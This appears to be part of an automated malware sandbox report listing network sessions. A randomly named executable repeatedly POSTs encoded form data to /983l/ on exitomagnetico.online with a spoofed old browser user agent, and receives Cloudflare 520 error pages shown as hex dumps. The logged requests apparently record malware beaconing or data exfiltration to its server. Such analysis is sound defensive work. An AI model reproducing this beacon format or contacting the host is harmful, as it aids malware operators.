                                                                Data Raw: 4a 4e 4c 38 3d 74 2b 2b 72 51 6f 42 55 72 79 57 38 44 76 49 41 37 37 75 61 63 68 51 62 4f 4b 61 65 32 54 6f 65 6d 51 44 6b 61 79 38 36 4e 69 62 67 54 74 52 77 53 32 54 4d 54 42 6e 41 76 34 6d 4e 61 48 31 33 79 67 34 55 43 36 4f 4b 6a 62 77 56 78 43 7a 48 79 6f 6d 75 49 32 52 59 55 4b 77 44 31 66 7a 79 37 51 53 52 6c 41 4b 7a 64 4a 5a 77 2f 42 4f 48 41 55 39 37 67 78 44 69 43 36 58 77 46 78 58 6e 61 54 4e 53 4e 33 6e 4d 6d 4f 46 71 4d 42 73 5a 75 71 4d 2b 4a 66 74 66 5a 6f 62 66 52 36 4f 52 30 6e 58 78 6b 74 59 6c 6b 42 77 6a 4b 30 4a 50 31 2f 2f 4a 55 75 55 42 69 75 71 66
                                                                Data Ascii: JNL8=t++rQoBUryW8DvIA77uachQbOKae2ToemQDkay86NibgTtRwS2TMTBnAv4mNaH13yg4UC6OKjbwVxCzHyomuI2RYUKwD1fzy7QSRlAKzdJZw/BOHAU97gxDiC6XwFxXnaTNSN3nMmOFqMBsZuqM+JftfZobfR6OR0nXxktYlkBwjK0JP1//JUuUBiuqf
                                                                Nov 20, 2024 10:27:21.037904978 CET1236INHTTP/1.1 520
                                                                Date: Wed, 20 Nov 2024 09:27:20 GMT
                                                                Content-Type: text/html; charset=UTF-8
                                                                Content-Length: 7240
                                                                Connection: close
                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VXbaCVPSpq%2F6QeJBRXQ6dyMTEQuEOA7W7pkDsEUTSzYr2ztLPatm1%2BzwusIuMZ7hay6xchx514KZaBbcRW2%2FBThXkzImznT6t5p8laXtd1eIW1a9MVJMQRGEaHaWSF6HKrt1IFK9jhvXDm%2Fy"}],"group":"cf-nel","max_age":604800}
                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                X-Frame-Options: SAMEORIGIN
                                                                Referrer-Policy: same-origin
                                                                Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                Server: cloudflare
                                                                CF-RAY: 8e57675329d48c17-EWR
                                                                alt-svc: h3=":443"; ma=86400
                                                                server-timing: cfL4;desc="?proto=TCP&rtt=1968&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=734&delivery_rate=0&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69
                                                                Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endi
                                                                Nov 20, 2024 10:27:21.037924051 CET1236INData Raw: 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 0a 3c 74 69 74 6c 65 3e 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 20 7c 20 35 32 30 3a 20 57 65 62 20 73 65 72 76 65 72 20 69 73 20 72 65 74 75 72 6e 69 6e 67 20 61 6e 20
                                                                Data Ascii: f]--><head><title>www.exitomagnetico.online | 520: Web server is returning an unknown error</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="
                                                                Nov 20, 2024 10:27:21.037935972 CET1236INData Raw: 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 79 2d 38 20 62 67 2d 67 72 61 64 69 65 6e 74 2d 67 72 61 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 32 34 30 20 6c 67 3a 77 2d
                                                                Data Ascii: r> <div class="my-8 bg-gradient-gray"> <div class="w-240 lg:w-full mx-auto"> <div class="clearfix md:px-8"> <div id="cf-browser-status" class=" relative w-1/3 md:w-full py-15 md:p-0 md:py-
                                                                Nov 20, 2024 10:27:21.038059950 CET672INData Raw: 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63
                                                                Data Ascii: agnetico.online" target="_blank" rel="noopener noreferrer"> <span class="cf-icon-cloud block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0 md:top-0 -ml-6 -bot
                                                                Nov 20, 2024 10:27:21.038180113 CET1236INData Raw: 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c 61 73 73 3d 22 63 66 2d 65 72 72 6f 72 2d 73 6f 75 72 63 65 20 72 65 6c 61 74 69 76 65
                                                                Data Ascii: s">Working</span></div><div id="cf-host-status" class="cf-error-source relative w-1/3 md:w-full py-15 md:p-0 md:py-8 md:text-left md:border-solid md:border-0 md:border-b md:border-gray-400 overflow-hidden float-left md:float-none text-cente
                                                                Nov 20, 2024 10:27:21.038193941 CET1236INData Raw: 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d
                                                                Data Ascii: ge can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">What can I do?</h2> <h
                                                                Nov 20, 2024 10:27:21.038206100 CET1236INData Raw: 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74
                                                                Data Ascii: text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8e57675329d48c17</strong></span> <span class="cf-footer-separator sm:hidden">&bull;</span> <span id="cf-footer-item-ip" class=
                                                                Nov 20, 2024 10:27:21.038216114 CET79INData Raw: 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 65 72 72 6f 72 2d 66 6f 6f 74 65 72 20 2d 2d 3e 0a 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                                                Data Ascii: ();</script></div>... /.error-footer --> </div></div></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                18192.168.2.957471188.114.96.3803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:23.238017082 CET758OUTPOST /983l/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 217
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.exitomagnetico.online
                                                                Origin: http://www.exitomagnetico.online
                                                                Referer: http://www.exitomagnetico.online/983l/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 74 2b 2b 72 51 6f 42 55 72 79 57 38 5a 50 34 41 35 63 43 61 5a 42 51 63 43 71 61 65 2f 7a 6f 53 6d 51 66 6b 61 77 52 2f 4f 52 76 67 51 50 5a 77 54 33 54 4d 51 42 6e 41 6b 59 6d 49 48 58 31 70 79 67 38 79 43 37 79 4b 6a 62 6b 56 78 47 2f 48 79 35 6d 70 4b 6d 52 61 63 71 77 42 36 2f 7a 79 37 51 53 52 6c 41 66 37 64 4a 68 77 38 77 2b 48 42 33 6c 34 37 52 44 68 53 71 58 77 50 52 58 72 61 54 4e 67 4e 79 62 69 6d 4d 74 71 4d 44 30 5a 67 65 51 39 48 66 73 61 57 49 61 37 63 50 54 41 38 33 50 4b 6b 4f 4d 46 30 44 67 52 4e 56 31 52 6b 4e 32 53 42 35 55 6d 6c 4a 6a 33 52 73 4b 2b 35 62 34 54 44 51 34 6a 55 4b 42 39 66 67 4b 69 79 41 3d 3d
                                                                Data Ascii: JNL8=t++rQoBUryW8ZP4A5cCaZBQcCqae/zoSmQfkawR/ORvgQPZwT3TMQBnAkYmIHX1pyg8yC7yKjbkVxG/Hy5mpKmRacqwB6/zy7QSRlAf7dJhw8w+HB3l47RDhSqXwPRXraTNgNybimMtqMD0ZgeQ9HfsaWIa7cPTA83PKkOMF0DgRNV1RkN2SB5UmlJj3RsK+5b4TDQ4jUKB9fgKiyA==
                                                                Nov 20, 2024 10:27:23.792092085 CET1236INHTTP/1.1 520
                                                                Date: Wed, 20 Nov 2024 09:27:23 GMT
                                                                Content-Type: text/html; charset=UTF-8
                                                                Content-Length: 7240
                                                                Connection: close
                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cXjdfdg%2BtVHsPeLMqPScFHbWz5rLNp3pk7EhjxYXPlAEeBZxVqLYoZq4SeY9oCx7Twaciub%2BiHsoD6xDv41az2EGFoAFb6C5j8NS1FnIzkh7q%2FwwvFtERqWZQGF%2F0kX7jQqF1A%2BzDH%2BEcrx8"}],"group":"cf-nel","max_age":604800}
                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                X-Frame-Options: SAMEORIGIN
                                                                Referrer-Policy: same-origin
                                                                Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                Server: cloudflare
                                                                CF-RAY: 8e576764592ade97-EWR
                                                                alt-svc: h3=":443"; ma=86400
                                                                server-timing: cfL4;desc="?proto=TCP&rtt=1478&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=758&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b
                                                                Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![
                                                                Nov 20, 2024 10:27:23.792129040 CET1236INData Raw: 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 0a 3c 74 69 74 6c 65 3e 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 20 7c 20 35 32 30 3a 20 57 65 62 20 73 65 72 76 65 72 20 69 73 20 72 65 74 75 72 6e 69 6e 67
                                                                Data Ascii: endif]--><head><title>www.exitomagnetico.online | 520: Web server is returning an unknown error</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" conte
                                                                Nov 20, 2024 10:27:23.792165041 CET1236INData Raw: 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 79 2d 38 20 62 67 2d 67 72 61 64 69 65 6e 74 2d 67 72 61 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 32 34 30 20 6c
                                                                Data Ascii: eader> <div class="my-8 bg-gradient-gray"> <div class="w-240 lg:w-full mx-auto"> <div class="clearfix md:px-8"> <div id="cf-browser-status" class=" relative w-1/3 md:w-full py-15 md:p-0 md
                                                                Nov 20, 2024 10:27:23.792303085 CET1236INData Raw: 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63
                                                                Data Ascii: itomagnetico.online" target="_blank" rel="noopener noreferrer"> <span class="cf-icon-cloud block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0 md:top-0 -ml-6
                                                                Nov 20, 2024 10:27:23.792433977 CET1236INData Raw: 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 3c 2f 73 70 61 6e 3e 0a 20 20 3c 68 33 20 63 6c 61 73 73 3d 22 6d 64 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 6d 74 2d 33 20 6d 64 3a 6d 74 2d 30 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 61 79 2d 36
                                                                Data Ascii: etico.online</span> <h3 class="md:inline-block mt-3 md:mt-0 text-2xl text-gray-600 font-light leading-1.3"> Host </h3> <span class="leading-1.3 text-2xl text-red-error">Error</span></div> </div>
                                                                Nov 20, 2024 10:27:23.792468071 CET1236INData Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 20 6d 6f 6e 69 74 6f 72 73 20 66 6f 72 20 74 68 65 73 65 20 65 72 72 6f 72 73 20 61 6e 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 69 6e 76 65 73 74 69 67 61 74 65 73 20 74 68 65 20 63 61 75 73 65 2e 20 54 6f
                                                                Data Ascii: Cloudflare monitors for these errors and automatically investigates the cause. To help support the investigation, you can pull the corresponding error log from your web server and submit it our support team. Please include the Ray ID (which
                                                                Nov 20, 2024 10:27:23.792503119 CET755INData Raw: 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e
                                                                Data Ascii: class="cf-footer-item sm:block sm:mb-1"><span>Performance &amp; security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing?utm_source=errorcode_520&utm_campaign=www.exitomagnetico.online" id="brand_link"


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                19192.168.2.957472188.114.96.3803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:25.845776081 CET1771OUTPOST /983l/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 1229
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.exitomagnetico.online
                                                                Origin: http://www.exitomagnetico.online
                                                                Referer: http://www.exitomagnetico.online/983l/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 74 2b 2b 72 51 6f 42 55 72 79 57 38 5a 50 34 41 35 63 43 61 5a 42 51 63 43 71 61 65 2f 7a 6f 53 6d 51 66 6b 61 77 52 2f 4f 51 58 67 54 39 68 77 53 55 37 4d 66 68 6e 41 36 6f 6d 4a 48 58 30 73 79 67 45 75 43 37 2b 77 6a 64 67 56 77 6c 33 48 6a 37 65 70 44 6d 52 61 51 4b 77 43 31 66 7a 6a 37 51 6a 35 6c 41 50 37 64 4a 68 77 38 79 6d 48 56 55 39 34 38 68 44 69 43 36 58 43 46 78 58 48 61 54 46 61 4e 7a 76 63 6c 39 4e 71 50 6a 6b 5a 73 4c 4d 39 50 66 73 55 54 49 61 6a 63 50 57 59 38 33 6a 73 6b 4e 51 37 30 42 77 52 4f 51 49 67 2b 4a 6d 39 62 4b 55 4f 6d 59 36 53 64 4b 61 70 34 76 56 61 42 56 34 36 4c 34 4d 36 55 42 7a 72 75 6e 39 59 63 76 65 7a 68 69 4f 65 32 37 51 4d 65 69 52 76 56 57 79 30 6c 45 4a 62 34 64 6b 56 45 35 33 7a 78 4e 56 4a 48 39 51 56 38 6d 66 33 43 41 4a 4d 72 2b 45 47 5a 6a 65 33 4a 34 46 2f 4f 4f 6c 73 65 71 64 54 68 64 49 31 68 43 62 39 70 32 4d 34 76 6b 78 36 41 37 56 54 39 6f 33 43 41 53 61 37 46 72 74 30 58 48 4d 57 51 61 52 75 4c 46 44 37 78 31 79 76 59 7a 4c 31 38 [TRUNCATED]
                                                                Data Ascii: JNL8=t++rQoBUryW8ZP4A5cCaZBQcCqae/zoSmQfkawR/OQXgT9hwSU7MfhnA6omJHX0sygEuC7+wjdgVwl3Hj7epDmRaQKwC1fzj7Qj5lAP7dJhw8ymHVU948hDiC6XCFxXHaTFaNzvcl9NqPjkZsLM9PfsUTIajcPWY83jskNQ70BwROQIg+Jm9bKUOmY6SdKap4vVaBV46L4M6UBzrun9YcvezhiOe27QMeiRvVWy0lEJb4dkVE53zxNVJH9QV8mf3CAJMr+EGZje3J4F/OOlseqdThdI1hCb9p2M4vkx6A7VT9o3CASa7Frt0XHMWQaRuLFD7x1yvYzL18T93n22oCIUO0B5LkJ128JzsMImlpL+XN5oxSiGyfIV2dp3VnDCABoV+bWejYbBX/b2xkCIfxeAXcDnkt90VcyObLEJQywjS/IEgNLhjypheMoMF30m3MC64c00ZokdekzmP7SnAkB1cIz1zVCytKUubQeVb4tJLJXpQqw0zJp+804cvsXQVpWbcabg9xLogq9qOQbsx5L7RyfqXTK98d2AU9ncw03t4x1K1Bd5AasN2gZQMbT6fU6vpqKKKkLrbXWaiv0po9Shj+DYyN+ukH7O5RBLvNl4cdFfoFAWm2JVBDh6Xy6aMZfhhFZb7BPTYNjAsV5EQu0Xm/nUVPcRyi8ow1oWUUZ2YA/xo0PzQ+loRsbvc2UV0zSXLIpu3GGMZZx1J3757QIAm7w7vzBAxJ/mddqt/d8wOPGf5P+VbCSAqcJ5U9ySn1HOOKctYb+VELdoK/263Mk1syzyFjxR1AK+EvNbqbxchsjEpTj5RmSbrtlyjiMudpbv5B6Bz//6Rlv0wrIP5nRZdvcrLmcy6n+8aFyx+pGJnRwhD3HETDbksBTt6/KhQ/PwTN198q6uSm7WSjPaU024RVktzTQpaRXE0YFa6bIaID3GJTtMnuwXzIfx6OcDs69Y5Z4IUqA5UjtiRqylzrVQLc7fKo1y4+HPRdQ14EzpAF+F [TRUNCATED]
                                                                Nov 20, 2024 10:27:26.414014101 CET1236INHTTP/1.1 520
                                                                Date: Wed, 20 Nov 2024 09:27:26 GMT
                                                                Content-Type: text/html; charset=UTF-8
                                                                Content-Length: 7240
                                                                Connection: close
                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PI5%2F%2BW%2FmXPF1j0aaXPaX847uoYgOiTChNK1GjGyqDXnjGZh05sGYYPE3454LrkrX%2B473pz%2BRVz6Ewrma1P4PEqiQu9vvhHDFaO6IL1vgbp19RZdqz96rcyoOfMdRw0PrILWOVr7UPOHOUIEh"}],"group":"cf-nel","max_age":604800}
                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                X-Frame-Options: SAMEORIGIN
                                                                Referrer-Policy: same-origin
                                                                Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                Server: cloudflare
                                                                CF-RAY: 8e576774cd071770-EWR
                                                                alt-svc: h3=":443"; ma=86400
                                                                server-timing: cfL4;desc="?proto=TCP&rtt=1492&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1771&delivery_rate=0&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65
                                                                Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![e
                                                                Nov 20, 2024 10:27:26.414041996 CET1236INData Raw: 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 0a 3c 74 69 74 6c 65 3e 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 20 7c 20 35 32 30 3a 20 57 65 62 20 73 65 72 76 65 72 20 69 73 20 72 65 74 75 72 6e 69 6e 67 20
                                                                Data Ascii: ndif]--><head><title>www.exitomagnetico.online | 520: Web server is returning an unknown error</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" conten
                                                                Nov 20, 2024 10:27:26.414053917 CET1236INData Raw: 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 79 2d 38 20 62 67 2d 67 72 61 64 69 65 6e 74 2d 67 72 61 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 32 34 30 20 6c 67
                                                                Data Ascii: ader> <div class="my-8 bg-gradient-gray"> <div class="w-240 lg:w-full mx-auto"> <div class="clearfix md:px-8"> <div id="cf-browser-status" class=" relative w-1/3 md:w-full py-15 md:p-0 md:
                                                                Nov 20, 2024 10:27:26.414064884 CET1236INData Raw: 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66
                                                                Data Ascii: tomagnetico.online" target="_blank" rel="noopener noreferrer"> <span class="cf-icon-cloud block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0 md:top-0 -ml-6 -
                                                                Nov 20, 2024 10:27:26.414077044 CET1236INData Raw: 74 69 63 6f 2e 6f 6e 6c 69 6e 65 3c 2f 73 70 61 6e 3e 0a 20 20 3c 68 33 20 63 6c 61 73 73 3d 22 6d 64 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 6d 74 2d 33 20 6d 64 3a 6d 74 2d 30 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 61 79 2d 36 30
                                                                Data Ascii: tico.online</span> <h3 class="md:inline-block mt-3 md:mt-0 text-2xl text-gray-600 font-light leading-1.3"> Host </h3> <span class="leading-1.3 text-2xl text-red-error">Error</span></div> </div>
                                                                Nov 20, 2024 10:27:26.414089918 CET1236INData Raw: 43 6c 6f 75 64 66 6c 61 72 65 20 6d 6f 6e 69 74 6f 72 73 20 66 6f 72 20 74 68 65 73 65 20 65 72 72 6f 72 73 20 61 6e 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 69 6e 76 65 73 74 69 67 61 74 65 73 20 74 68 65 20 63 61 75 73 65 2e 20 54 6f 20
                                                                Data Ascii: Cloudflare monitors for these errors and automatically investigates the cause. To help support the investigation, you can pull the corresponding error log from your web server and submit it our support team. Please include the Ray ID (which i
